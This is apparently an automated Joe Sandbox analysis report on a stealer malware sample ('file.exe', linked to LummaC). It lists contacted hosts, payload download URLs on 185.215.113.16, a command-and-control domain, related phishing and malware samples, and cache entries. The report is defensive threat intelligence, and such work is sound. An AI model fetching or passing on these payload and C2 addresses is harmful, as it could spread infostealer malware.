https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_117.13.dr	false		high
https://frogmen-smell.sbs/eA%h:	file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://polymer.github.io/PATENTS.txt	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://aka.ms/certhelp	chromecache_108.13.dr, chromecache_97.13.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, file.exe, 00000005.00000002.1663062974.000000000121F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_117.13.dr	false		high
https://frogmen-smell.sbs/mA-h;	file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_97.13.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://frogmen-smell.sbs/.	file.exe, 00000005.00000003.1352589727.0000000001297000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000005.00000003.1393186831.00000000058D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs/	file.exe, file.exe, 00000005.00000003.1444788803.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352617271.000000000128E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1352654175.0000000001290000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1390977810.00000000057C2000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1391651400.00000000057C3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1418344318.000000000128E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_117.13.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_117.13.dr	false		high
http://185.215.113.16/	file.exe, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://github.com/adegeo	chromecache_117.13.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exe	file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_108.13.dr, chromecache_97.13.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000005.00000003.1391860648.00000000057E1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000005.00000003.1406311885.00000000057D0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_108.13.dr, chromecache_97.13.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000005.00000002.1663062974.000000000121F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_117.13.dr	false		high
https://frogmen-smell.sbs:443/api	file.exe, 00000005.00000003.1570277231.00000000012A7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_108.13.dr, chromecache_97.13.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000005.00000003.1353424254.00000000057F9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://frogmen-smell.sbs:443/apit9	file.exe, 00000005.00000003.1435840359.0000000001293000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/try	chromecache_108.13.dr, chromecache_97.13.dr	false		high
http://185.215.113.16/off/def.exe%	file.exe, 00000005.00000003.1549096475.0000000001221000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000005.00000003.1411593120.00000000057CC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1409263859.00000000057CA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1417598049.00000000057CD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406496763.00000000057C8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1406045748.00000000057C8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
172.67.174.133	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556669
Start date and time:	2024-11-15 19:38:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/65@9/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 184.28.89.167, 142.250.184.195, 142.250.186.78, 142.251.168.84, 88.221.170.101, 34.104.35.123, 142.250.186.74, 142.250.186.138, 172.217.18.10, 142.250.185.106, 142.250.185.138, 142.250.185.74, 142.250.74.202, 142.250.186.170, 142.250.185.170, 172.217.16.202, 142.250.185.234, 216.58.206.74, 142.250.184.234, 142.250.185.202, 142.250.186.106, 216.58.206.42, 52.178.17.235, 2.19.126.156, 2.19.126.137, 13.74.129.1, 20.189.173.5, 204.79.197.237, 13.107.21.237, 142.250.185.163, 142.250.186.110
Excluded domains from analysis (whitelisted): onedscolprdwus04.westus.cloudapp.azure.com, slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, time.windows.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, onedscolprdweu14.westeurope.cloudapp.azure.com, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.n
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:39:14	API Interceptor	38x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse	13.107.246.45
	Benefits_&_Bonus_for_Dan.banks#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	New order.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	purchase order (1).xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	purchase order (2).xls	Get hash	malicious	Unknown	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse	13.107.246.67
	D6IxIqHIcS.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.67
	Play_VM_00_01_22sec-ATT212monika.hayward@bostonbeer.com.html	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	13.107.246.67
	https://www.canva.com/design/DAGVnZ3mr_Y/4CQQbX1-EKRcha16TVbYxQ/view?utm_content=DAGVnZ3mr_Y&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Mamba2FA	Browse	13.107.246.67
frogmen-smell.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.80.55

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://ambir.com/all-ambir-drivers/	Get hash	malicious	Unknown	Browse	51.144.7.192
	Benefits_&_Bonus_for_Dan.banks#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.46
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	REMITTANCE_Confrimationsslip54342Bqlaw.html	Get hash	malicious	Unknown	Browse	13.107.137.11
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	20.255.187.69
	phish_alert_sp2_2.0.0.0-1.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	New order.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	https://ambir.com/all-ambir-drivers/	Get hash	malicious	Unknown	Browse	51.144.7.192
	Benefits_&_Bonus_for_Dan.banks#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.46
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	REMITTANCE_Confrimationsslip54342Bqlaw.html	Get hash	malicious	Unknown	Browse	13.107.137.11
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	20.255.187.69
	phish_alert_sp2_2.0.0.0-1.eml	Get hash	malicious	Unknown	Browse	52.109.76.144
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	New order.xls	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
CLOUDFLARENETUS	phish_alert_iocp_v1.4.48 (68).eml	Get hash	malicious	Unknown	Browse	104.26.4.39
	exe028.exe	Get hash	malicious	Unknown	Browse	172.66.43.126
	https://ambir.com/all-ambir-drivers/	Get hash	malicious	Unknown	Browse	104.18.27.193
	exe014.exe	Get hash	malicious	Unknown	Browse	104.21.59.199
	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse	188.114.96.3
	http://527newagain.top/1.php?s=527;iex	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://employeeportal.net-login.com/XWmdEa2M3cG9qbFFscFFDWFJLaHNDY01aQld4d21wWlQzZmF5ZS9hYVNYZEZIaERhTEkzYzBqUG9QQUNndUlsN3RVVkR6Wm8rTHB6aElCK2trYVZUZTJxZ0MzeVNkclN4VXU1bnM2bWxDWC9nUTlPdmRNaEFVTitwZ3FVV2xTTW5PM280cWh5SndCVmszeS9Gc1plZFpySzNOZ2NRNytNNHZ2NE01bm9oaVc1MkxBYlJUdUNDdEh6a2xnPT0tLTZJVU5NYmFlOWd4aFhGKzktLUREbzR5UTlENTl6b05iaXJWSWdnamc9PQ==?cid=2284870608	Get hash	malicious	KnowBe4	Browse	104.17.25.14
	http://527newagain.top	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://mcajijknegnbbga.top	Get hash	malicious	Unknown	Browse	1.1.1.1
	Benefits_&_Bonus_for_Dan.banks#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	104.17.25.14
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://employeeportal.net-login.com/XWmdEa2M3cG9qbFFscFFDWFJLaHNDY01aQld4d21wWlQzZmF5ZS9hYVNYZEZIaERhTEkzYzBqUG9QQUNndUlsN3RVVkR6Wm8rTHB6aElCK2trYVZUZTJxZ0MzeVNkclN4VXU1bnM2bWxDWC9nUTlPdmRNaEFVTitwZ3FVV2xTTW5PM280cWh5SndCVmszeS9Gc1plZFpySzNOZ2NRNytNNHZ2NE01bm9oaVc1MkxBYlJUdUNDdEh6a2xnPT0tLTZJVU5NYmFlOWd4aFhGKzktLUREbzR5UTlENTl6b05iaXJWSWdnamc9PQ==?cid=2284870608	Get hash	malicious	KnowBe4	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	DAEMONToolsPro550-0387.exe	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	REMITTANCE_Confrimationsslip54342Bqlaw.html	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://blchkr.com/res444.php?2-68747470733a2f2f316c732e67633335742e636f6d2f4e4f326b4f2f-whiskerwood	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Iamgold-PYMPATA Policy_Enrollment2024739441.rtf	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	https://ntx.redblocks.io/	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	Dark_drop_2_pers_lum_clean.exe.bin.exe	Get hash	malicious	LummaC, DarkGate, LummaC Stealer, MailPassView	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	https://ntx.redblocks.io/	Get hash	malicious	Unknown	Browse	172.67.174.133
	Signert kontrakt og faktura.xls	Get hash	malicious	Unknown	Browse	172.67.174.133
	New order.xls	Get hash	malicious	Unknown	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	purchase order (1).xls	Get hash	malicious	Unknown	Browse	172.67.174.133
	purchase order (2).xls	Get hash	malicious	Unknown	Browse	172.67.174.133
	DfEohEn32q.exe	Get hash	malicious	LummaC	Browse	172.67.174.133

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Reputation:	moderate, very likely benign file
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
